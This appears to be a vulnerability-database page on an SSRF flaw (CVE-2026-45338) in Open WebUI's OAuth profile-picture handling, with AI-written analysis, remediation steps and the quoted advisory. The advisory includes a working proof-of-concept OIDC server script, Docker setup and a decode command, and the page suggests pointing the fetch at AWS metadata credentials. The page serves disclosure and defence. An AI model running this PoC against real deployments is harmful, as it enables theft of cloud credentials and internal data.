Open WebUI CVE-2026-45338
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSetup malicious OIDC provider
-
DeliveryUser authenticates via OAuth
-
ExploitMalicious userinfo response with internal URL in 'picture' claim
-
InstallServer fetches internal endpoint without validation
-
C2Response base64-encoded and stored in database
-
ExecuteAttacker retrieves own profile via API
-
ImpactDecode exfiltrated data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires Open WebUI deployment with OAuth/OIDC authentication configured AND either ENABLE_OAUTH_SIGNUP=true (for new user registration path) OR OAUTH_UPDATE_PICTURE_ON_LOGIN=true (for existing user picture refresh path). Attacker must control or compromise the configured OAuth identity provider to inject malicious 'picture' claim URLs in the OIDC userinfo response. Network-based exploitation (AV:N) is possible because OAuth flows are inherently network-accessible. Low attack complexity (AC:L) - no race conditions or cryptographic bypasses required, just standard OIDC flow manipulation. Low privileges required (PR:L) - attacker needs ability to authenticate via the malicious OAuth provider, which is trivial if they control it. No user interaction needed (UI:N) beyond normal login flow. Exploitation is NOT possible against: (1) deployments using local authentication only without OAuth, (2) OAuth deployments with both picture-processing flags set to false, (3) environments where OAuth provider configuration is locked to trusted identity providers only. Limiting factors: attacker needs OAuth provider control (either setup malicious provider or compromise existing integration), and target server must have network access to valuable internal endpoints (cloud metadata, Redis, internal APIs) for meaningful impact. |
| Impact | Real-world risk is MODERATE-HIGH for OAuth-enabled deployments but LIMITED in scope. CVSS 7.7 (HIGH) with vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N accurately reflects the technical severity - network-accessible, low complexity, scope change (accessing resources outside the application's normal boundary), and high confidentiality impact through data exfiltration. However, PR:L (low privileges required) means attackers need valid OAuth authentication, and exploitation depends on non-default configurations (ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true). No CISA KEV listing suggests targeted rather than widespread exploitation. The GitHub advisory includes a complete proof-of-concept with minimal OIDC server code, lowering the technical barrier for exploitation. Primary risk scenarios: (1) Cloud deployments exposing AWS IMDSv1 at 169.254.169.254 for credential theft, (2) Kubernetes environments with internal service mesh endpoints, (3) Docker deployments with --add-host configurations exposing host services. The Changed Scope metric is critical here - this isn't just reading application data, but accessing infrastructure the application has network access to. Deployments NOT using OAuth or using OAuth without picture-update features face zero risk. SSVC framework assessment: Exploitation=POC (public code available), Automatable=No (requires OAuth provider control), Technical Impact=Total (full credential/data read from targeted endpoints) - priority depends heavily on deployment architecture and OAuth usage patterns. |
| Exploit ScenarioDerived | An attacker sets up a malicious OIDC provider (or compromises an existing OAuth integration) that returns a crafted 'picture' claim URL pointing to http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role during the OpenID Connect userinfo response. When a user authenticates via the 'Continue with OAuth' flow on an Open WebUI instance with ENABLE_OAUTH_SIGNUP=true, the server's _process_picture_url() function fetches the AWS metadata endpoint, base64-encodes the IAM credentials JSON response, and stores it in the database as the user's profile_image_url. The attacker retrieves their own profile via the /api/v1/auths/ endpoint, decodes the base64 data, and obtains valid AWS credentials with the server's IAM role permissions, enabling full AWS account compromise. Complete proof-of-concept code is publicly available in GitHub advisory GHSA-24c9-2m8q-qhmh. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 14, 2026
Server-Side Request Forgery (SSRF) in Open WebUI versions ≤0.8.12 allows authenticated users with OAuth access to force the server to make HTTP requests to arbitrary internal resources and exfiltrate complete response data. Exploitation requires OAuth-enabled deployments with ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true. An attacker controls the OAuth provider's 'picture' claim URL, triggering server-side HTTP requests to cloud metadata services (AWS IMDS), localhost services (Redis, Elasticsearch), or internal network endpoints. The full response is base64-encoded and stored in the user's profile_image_url field, enabling complete data exfiltration. Fixed in version 0.9.0 per GitHub advisory GHSA-24c9-2m8q-qhmh. EPSS data not available; no CISA KEV listing indicates limited widespread exploitation, though publicly available proof-of-concept exists in the GitHub advisory.
RemediationAI
Upgrade to Open WebUI version 0.9.0 or later immediately per the vendor advisory at https://github.com/open-webui/open-webui/releases/tag/v0.9.0, which applies the validate_url() security control to _process_picture_url() consistent with existing SSRF protections elsewhere in the codebase. For deployments unable to upgrade immediately, implement compensating controls: (1) Disable OAuth picture processing by setting OAUTH_UPDATE_PICTURE_ON_LOGIN=false and ENABLE_OAUTH_SIGNUP=false, which blocks both exploitation paths but disables OAuth-based user onboarding - acceptable for existing-user-only environments but breaks new user workflows. (2) Deploy network segmentation to block Open WebUI containers from accessing cloud metadata endpoints (169.254.169.254/32) and internal service networks via firewall rules or Kubernetes NetworkPolicies - reduces blast radius but does not prevent localhost exploitation and requires infrastructure changes. (3) If using AWS, enforce IMDSv2 (requires token headers) instead of IMDSv1 to prevent simple GET-based credential theft - mitigates cloud metadata risk only, not general SSRF. (4) Restrict OAuth provider configuration to trusted identity providers only and audit existing OIDC integrations for compromise - operational overhead and doesn't prevent insider threats. The upgrade to 0.9.0 is the only complete mitigation; workarounds significantly degrade OAuth functionality or require complex infrastructure changes.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the _process_picture_url() function in backend/open_webui/utils/oauth.py around line 1338, which processes OAuth profile picture URLs during OIDC authentication flows. The function uses aiohttp.ClientSession to fetch arbitrary URLs from OAuth 'picture' claims without applying the validate_url() security control that the codebase uses consistently in other URL-fetching code paths (files.py:38, images.py:800). This CWE-918 (Server-Side Request Forgery) flaw allows attackers to exploit the OAuth trust boundary - the server trusts that OAuth provider responses are safe, but an attacker controlling a malicious OAuth provider can inject URLs pointing to internal infrastructure. The affected package is pip/open-webui, deployed commonly via Docker containers with --add-host configurations that expose host.docker.internal to container workloads. The Python aiohttp library's trust_env=True setting respects proxy configurations, potentially expanding attack surface. The response is base64-encoded and stored in the database, creating a full-read SSRF channel rather than a blind attack.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.
Vulnerable Code
# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
# No validate_url() call here
async with aiohttp.ClientSession(trust_env=True) as session:
async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
if resp.ok:
picture = await resp.read()
base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'The codebase already uses validate_url() for the same SSRF protection pattern in other paths:
backend/open_webui/utils/files.py:38-validate_url(url)beforerequests.get(url)backend/open_webui/routers/images.py:800-validate_url(data)beforerequests.get(data)
The omission in _process_picture_url() is inconsistent with the project's own security practices.
Affected Code Paths
- New user OAuth signup (line ~1556):
picture_url = await self._process_picture_url(picture_url, token.get('access_token')) - Existing user picture update on login (line ~1536): when
OAUTH_UPDATE_PICTURE_ON_LOGIN=true
Steps to Reproduce
Prerequisites
- Open WebUI instance with generic OIDC OAuth configured
ENABLE_OAUTH_SIGNUP=true
Setup
1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:
"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse
SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
path = urllib.parse.urlparse(self.path).path
query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
if path == "/.well-known/openid-configuration":
self._json({"issuer":"http://host.docker.internal:9000",
"authorization_endpoint":"http://localhost:9000/authorize",
"token_endpoint":"http://host.docker.internal:9000/token",
"userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
"jwks_uri":"http://host.docker.internal:9000/jwks",
"response_types_supported":["code"],"subject_types_supported":["public"],
"id_token_signing_alg_values_supported":["RS256"],
"token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
elif path == "/authorize":
ru = query.get("redirect_uri",[""])[0]
st = query.get("state",[""])[0]
self.send_response(302)
self.send_header("Location", f"{ru}?code=poc-code&state={st}")
self.end_headers()
elif path == "/userinfo":
self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET})
elif path == "/jwks":
self._json({"keys":[]})
elif path == "/canary":
self.send_response(200)
self.send_header("Content-Type","text/plain")
body = CANARY.encode()
self.send_header("Content-Length",len(body))
self.end_headers()
self.wfile.write(body)
print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
else:
self.send_response(404); self.end_headers()
def do_POST(self):
if "/token" in self.path:
self._json({"access_token":"tok","token_type":"bearer","expires_in":3600,
"userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}})
def _json(self, d):
b = json.dumps(d).encode()
self.send_response(200)
self.send_header("Content-Type","application/json")
self.send_header("Content-Length",len(b))
self.end_headers()
self.wfile.write(b)
HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()2. Run the PoC server:
python3 poc_oidc.py3. Start Open WebUI with Docker:
docker run -d -p 3000:8080 \
--name owui-ssrf-test \
--add-host=host.docker.internal:host-gateway \
-e ENABLE_OAUTH_SIGNUP=true \
-e WEBUI_AUTH=true \
-e OAUTH_CLIENT_ID=test-client \
-e OAUTH_CLIENT_SECRET=test-secret \
-e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \
-e OAUTH_PROVIDER_NAME=TestOIDC \
-e "OAUTH_SCOPES=openid email profile" \
ghcr.io/open-webui/open-webui:main4. Create an admin account at http://localhost:3000, then sign out.
5. Click "Continue with TestOIDC" on the login page.
6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!
7. Verify exfiltrated data is stored and readable:
curl -s http://localhost:3000/api/v1/auths/ \
-H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile_image_url', '')
if 'base64,' in url:
decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
print(f'DECODED: {decoded}')
"Result: DECODED: SSRF_CONFIRMED_OPEN_WEBUI
The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profile_image_url, and the attacker can read it back via the API.
Impact
An attacker can force the Open WebUI server to make HTTP requests to:
- Cloud metadata endpoints (AWS IMDSv1 at
http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials - Internal network services not exposed to the internet
- Localhost-bound services (Redis, Elasticsearch, internal APIs)
This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profile_image_url field.
Configuration Note
This vulnerability requires ENABLE_OAUTH_SIGNUP=true (for the new-user path) or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.
Suggested Fix
Apply validate_url() before fetching, consistent with existing patterns in the codebase:
from open_webui.retrieval.web.utils import validate_url
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
if not picture_url:
return '/user.png'
try:
validate_url(picture_url)
# Add this line
# ... rest unchangedExecutive ViewAI
Open WebUI versions 0.8.12 and earlier contain an authenticated Server-Side Request Forgery vulnerability that allows attackers with OAuth access to exfiltrate sensitive data from internal systems, cloud metadata services, and network resources. Organizations running vulnerable versions with OAuth enabled face risk of credential exposure, internal service reconnaissance, and lateral movement capabilities for authenticated adversaries.
If upgrade to version 0.9.0 is not immediately available: (1) Disable ENABLE_OAUTH_SIGNUP and OAUTH_UPDATE_PICTURE_ON_LOGIN in Open WebUI configuration to prevent exploitation vector; (2) Implement network firewall rules blocking outbound HTTP/HTTPS from Open WebUI server to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254 for AWS IMDS); (3) Monitor and restrict OAuth provider picture claim URLs to trusted external sources only; (4) Enable request logging and alerting on unexpected HTTP requests from the Open WebUI process.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Affected Products (CPE)GitHub Advisory
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-24c9-2m8q-qhmh
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB